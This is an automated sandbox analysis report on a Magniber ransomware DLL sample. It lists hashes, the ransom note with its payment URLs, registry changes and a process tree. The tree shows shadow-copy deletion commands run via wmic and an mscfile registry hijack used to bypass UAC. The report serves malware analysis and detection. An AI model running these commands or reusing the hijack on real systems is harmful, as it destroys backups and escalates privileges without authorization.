magniber | f66e9e0a8847f5c0d3a11e1f61fe70f236688474760038e2bc1fbcc637b08fd1

Analysis

max time kernel
130s
max time network
133s
platform
windows7_x64
resource
win7v20210408
submitted
29-08-2021 11:33

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General

Target

1.dll
Size

38KB
MD5

f6202e6f4b35f20f7c186d0440a85db9
SHA1

fe9211e7e811e1826dd401a2a7f1ac92ac8613ad
SHA256

f66e9e0a8847f5c0d3a11e1f61fe70f236688474760038e2bc1fbcc637b08fd1
SHA512

85a43634be204d888d319b398b742b086cffe0db391588bb304851644c8ef15c27434e794b821e0ed002b540dc41dc83333942867632ce271baa1182a24d3583

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://d2cc88480e784a7002svbdthwdw.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/svbdthwdw Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://d2cc88480e784a7002svbdthwdw.upquote.xyz/svbdthwdw http://d2cc88480e784a7002svbdthwdw.armythe.club/svbdthwdw http://d2cc88480e784a7002svbdthwdw.aredata.site/svbdthwdw http://d2cc88480e784a7002svbdthwdw.whorest.top/svbdthwdw Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://d2cc88480e784a7002svbdthwdw.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/svbdthwdw

http://d2cc88480e784a7002svbdthwdw.upquote.xyz/svbdthwdw

http://d2cc88480e784a7002svbdthwdw.armythe.club/svbdthwdw

http://d2cc88480e784a7002svbdthwdw.aredata.site/svbdthwdw

http://d2cc88480e784a7002svbdthwdw.whorest.top/svbdthwdw

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	668	1760	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1152	1760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1684	1760	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1716	1760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2144	1760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2160	1760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2620	1760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2648	1760	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2788	1760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2968	1760	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2960	1760	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1496	1760	vssadmin.exe	39

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1684 set thread context of 1116	1684	rundll32.exe	13
PID 1684 set thread context of 1176	1684	rundll32.exe	12
PID 1684 set thread context of 1228	1684	rundll32.exe	11

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1496	vssadmin.exe
1152	vssadmin.exe
1716	vssadmin.exe
2144	vssadmin.exe
2160	vssadmin.exe
2620	vssadmin.exe
2788	vssadmin.exe
2968	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000006da4ad786f7081479c196d633f4ef96000000000020000000000106600000001000020000000f09048a878343f929fa7ee8ed909eb0a6ea59e209a6766284cbd1a6c94007de7000000000e80000000020000200000000426a8a7fc02f01d2e501b687d75cb81a1398b4e2529e29e02eec357d1295a5d900000009fec6f2404549e3281390145e7ab6652903658f62fb923bade5c1214810b5daa3f60cb05e6160d5b2b487f61b4f21e8ccd1e5cb00efd0a8f43fb42c71dbab5e42b801f2a2620fbece552510544d3b1661290cfaf337ef97c4e2186d46822e9a06582e8c8fb3d9e839d987f2b2e6b38d6b13aa65e7ba378dd5eda7efd1acbff3155915db6acd7e485b7b54eacd132b0b4400000003fc2c799af3ef1c4fe8d1ec26e3fc5fdc48306c548aa6281bea373cddbd6dab2da48572168a53598252e3b46c73fa38e9dd8571e20104b5651353922136874a4	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "337008840"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000006da4ad786f7081479c196d633f4ef9600000000002000000000010660000000100002000000097d4a5cbb6ccac58a216dad5574cf43b5e95dab7a6ec7cff8c2e3dee8e637cff000000000e8000000002000020000000cfca8ecd0bcbf66cd255ada91ada62b37e2327f90fbf474ff3c550386b17119520000000f6fb24bed1f3d78bcef7441fa3a2b7514a34cc5a35e92df9cd663fbdcf1483d1400000006d8c41721f95b086f1a1937cab5ffd036aed3cfeca073c9dacba40858ca030f76ec4f94700ed5d98e2a05de9ff3ede0a65e62775602a5a75014ae9441a928d35	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{5A84CCA1-08CD-11EC-83FC-FEBA24881352} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 009c3538da9cd701	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
112	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1684	rundll32.exe
1684	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1228	Explorer.EXE

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1684	rundll32.exe
1684	rundll32.exe
1684	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1228	Explorer.EXE
Token: SeShutdownPrivilege	1228	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	784	wmic.exe
Token: SeSecurityPrivilege	784	wmic.exe
Token: SeTakeOwnershipPrivilege	784	wmic.exe
Token: SeLoadDriverPrivilege	784	wmic.exe
Token: SeSystemProfilePrivilege	784	wmic.exe
Token: SeSystemtimePrivilege	784	wmic.exe
Token: SeProfSingleProcessPrivilege	784	wmic.exe
Token: SeIncBasePriorityPrivilege	784	wmic.exe
Token: SeCreatePagefilePrivilege	784	wmic.exe
Token: SeBackupPrivilege	784	wmic.exe
Token: SeRestorePrivilege	784	wmic.exe
Token: SeShutdownPrivilege	784	wmic.exe
Token: SeDebugPrivilege	784	wmic.exe
Token: SeSystemEnvironmentPrivilege	784	wmic.exe
Token: SeRemoteShutdownPrivilege	784	wmic.exe
Token: SeUndockPrivilege	784	wmic.exe
Token: SeManageVolumePrivilege	784	wmic.exe
Token: 33	784	wmic.exe
Token: 34	784	wmic.exe
Token: 35	784	wmic.exe
Token: SeIncreaseQuotaPrivilege	1052	WMIC.exe
Token: SeSecurityPrivilege	1052	WMIC.exe
Token: SeTakeOwnershipPrivilege	1052	WMIC.exe
Token: SeLoadDriverPrivilege	1052	WMIC.exe
Token: SeSystemProfilePrivilege	1052	WMIC.exe
Token: SeSystemtimePrivilege	1052	WMIC.exe
Token: SeProfSingleProcessPrivilege	1052	WMIC.exe
Token: SeIncBasePriorityPrivilege	1052	WMIC.exe
Token: SeCreatePagefilePrivilege	1052	WMIC.exe
Token: SeBackupPrivilege	1052	WMIC.exe
Token: SeRestorePrivilege	1052	WMIC.exe
Token: SeShutdownPrivilege	1052	WMIC.exe
Token: SeDebugPrivilege	1052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1052	WMIC.exe
Token: SeRemoteShutdownPrivilege	1052	WMIC.exe
Token: SeUndockPrivilege	1052	WMIC.exe
Token: SeManageVolumePrivilege	1052	WMIC.exe
Token: 33	1052	WMIC.exe
Token: 34	1052	WMIC.exe
Token: 35	1052	WMIC.exe
Token: SeShutdownPrivilege	1228	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	784	wmic.exe
Token: SeSecurityPrivilege	784	wmic.exe
Token: SeTakeOwnershipPrivilege	784	wmic.exe
Token: SeLoadDriverPrivilege	784	wmic.exe
Token: SeSystemProfilePrivilege	784	wmic.exe
Token: SeSystemtimePrivilege	784	wmic.exe
Token: SeProfSingleProcessPrivilege	784	wmic.exe
Token: SeIncBasePriorityPrivilege	784	wmic.exe
Token: SeCreatePagefilePrivilege	784	wmic.exe
Token: SeBackupPrivilege	784	wmic.exe
Token: SeRestorePrivilege	784	wmic.exe
Token: SeShutdownPrivilege	784	wmic.exe
Token: SeDebugPrivilege	784	wmic.exe
Token: SeSystemEnvironmentPrivilege	784	wmic.exe
Token: SeRemoteShutdownPrivilege	784	wmic.exe
Token: SeUndockPrivilege	784	wmic.exe
Token: SeManageVolumePrivilege	784	wmic.exe
Token: 33	784	wmic.exe
Token: 34	784	wmic.exe
Token: 35	784	wmic.exe
Token: SeIncreaseQuotaPrivilege	1052	WMIC.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
920	iexplore.exe
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE
1228	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
920	iexplore.exe
920	iexplore.exe
2132	IEXPLORE.EXE
2132	IEXPLORE.EXE
2132	IEXPLORE.EXE
2132	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1228 wrote to memory of 112	1228	Explorer.EXE	29
PID 1228 wrote to memory of 112	1228	Explorer.EXE	29
PID 1228 wrote to memory of 112	1228	Explorer.EXE	29
PID 1228 wrote to memory of 304	1228	Explorer.EXE	30
PID 1228 wrote to memory of 304	1228	Explorer.EXE	30
PID 1228 wrote to memory of 304	1228	Explorer.EXE	30
PID 1228 wrote to memory of 784	1228	Explorer.EXE	31
PID 1228 wrote to memory of 784	1228	Explorer.EXE	31
PID 1228 wrote to memory of 784	1228	Explorer.EXE	31
PID 1228 wrote to memory of 548	1228	Explorer.EXE	33
PID 1228 wrote to memory of 548	1228	Explorer.EXE	33
PID 1228 wrote to memory of 548	1228	Explorer.EXE	33
PID 548 wrote to memory of 1052	548	cmd.exe	36
PID 548 wrote to memory of 1052	548	cmd.exe	36
PID 548 wrote to memory of 1052	548	cmd.exe	36
PID 304 wrote to memory of 920	304	cmd.exe	37
PID 304 wrote to memory of 920	304	cmd.exe	37
PID 304 wrote to memory of 920	304	cmd.exe	37
PID 1684 wrote to memory of 932	1684	rundll32.exe	40
PID 1684 wrote to memory of 932	1684	rundll32.exe	40
PID 1684 wrote to memory of 932	1684	rundll32.exe	40
PID 1684 wrote to memory of 828	1684	rundll32.exe	41
PID 1684 wrote to memory of 828	1684	rundll32.exe	41
PID 1684 wrote to memory of 828	1684	rundll32.exe	41
PID 828 wrote to memory of 1892	828	cmd.exe	44
PID 828 wrote to memory of 1892	828	cmd.exe	44
PID 828 wrote to memory of 1892	828	cmd.exe	44
PID 668 wrote to memory of 1668	668	cmd.exe	50
PID 668 wrote to memory of 1668	668	cmd.exe	50
PID 668 wrote to memory of 1668	668	cmd.exe	50
PID 1684 wrote to memory of 1772	1684	cmd.exe	56
PID 1684 wrote to memory of 1772	1684	cmd.exe	56
PID 1684 wrote to memory of 1772	1684	cmd.exe	56
PID 1668 wrote to memory of 932	1668	CompMgmtLauncher.exe	58
PID 1668 wrote to memory of 932	1668	CompMgmtLauncher.exe	58
PID 1668 wrote to memory of 932	1668	CompMgmtLauncher.exe	58
PID 1772 wrote to memory of 1880	1772	CompMgmtLauncher.exe	59
PID 1772 wrote to memory of 1880	1772	CompMgmtLauncher.exe	59
PID 1772 wrote to memory of 1880	1772	CompMgmtLauncher.exe	59
PID 920 wrote to memory of 2132	920	iexplore.exe	62
PID 920 wrote to memory of 2132	920	iexplore.exe	62
PID 920 wrote to memory of 2132	920	iexplore.exe	62
PID 920 wrote to memory of 2132	920	iexplore.exe	62
PID 1176 wrote to memory of 2508	1176	Dwm.exe	68
PID 1176 wrote to memory of 2508	1176	Dwm.exe	68
PID 1176 wrote to memory of 2508	1176	Dwm.exe	68
PID 1176 wrote to memory of 2520	1176	Dwm.exe	70
PID 1176 wrote to memory of 2520	1176	Dwm.exe	70
PID 1176 wrote to memory of 2520	1176	Dwm.exe	70
PID 2520 wrote to memory of 2572	2520	cmd.exe	72
PID 2520 wrote to memory of 2572	2520	cmd.exe	72
PID 2520 wrote to memory of 2572	2520	cmd.exe	72
PID 2648 wrote to memory of 2696	2648	cmd.exe	77
PID 2648 wrote to memory of 2696	2648	cmd.exe	77
PID 2648 wrote to memory of 2696	2648	cmd.exe	77
PID 2696 wrote to memory of 2736	2696	CompMgmtLauncher.exe	78
PID 2696 wrote to memory of 2736	2696	CompMgmtLauncher.exe	78
PID 2696 wrote to memory of 2736	2696	CompMgmtLauncher.exe	78
PID 1116 wrote to memory of 2844	1116	taskhost.exe	82
PID 1116 wrote to memory of 2844	1116	taskhost.exe	82
PID 1116 wrote to memory of 2844	1116	taskhost.exe	82
PID 1116 wrote to memory of 2856	1116	taskhost.exe	84
PID 1116 wrote to memory of 2856	1116	taskhost.exe	84
PID 1116 wrote to memory of 2856	1116	taskhost.exe	84

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\1.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1684
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:932
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:828
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1892
- C:\Windows\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:112
- C:\Windows\system32\cmd.exe
  cmd /c "start http://d2cc88480e784a7002svbdthwdw.upquote.xyz/svbdthwdw^&1^&39687747^&56^&309^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:304
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://d2cc88480e784a7002svbdthwdw.upquote.xyz/svbdthwdw&1&39687747&56&309&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:920
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:920 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2132
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:784
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1052

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1176
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2508
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2572

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2844
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2856
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2904

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:668
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:932

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1152

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1880

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1716

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1864

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2144

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2160

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2620

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2648
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2736

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2788

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2968

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:2960
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:3020
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1780

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/112-76-0x000007FEFC2E1000-0x000007FEFC2E3000-memory.dmp

Filesize
8KB

Download
memory/1116-73-0x0000000001C40000-0x0000000001C45000-memory.dmp

Filesize
20KB

Download
memory/1228-60-0x0000000002A00000-0x0000000002A10000-memory.dmp

Filesize
64KB

Download
memory/1684-72-0x0000000000270000-0x0000000000271000-memory.dmp

Filesize
4KB

Download
memory/1684-63-0x0000000000120000-0x0000000000121000-memory.dmp

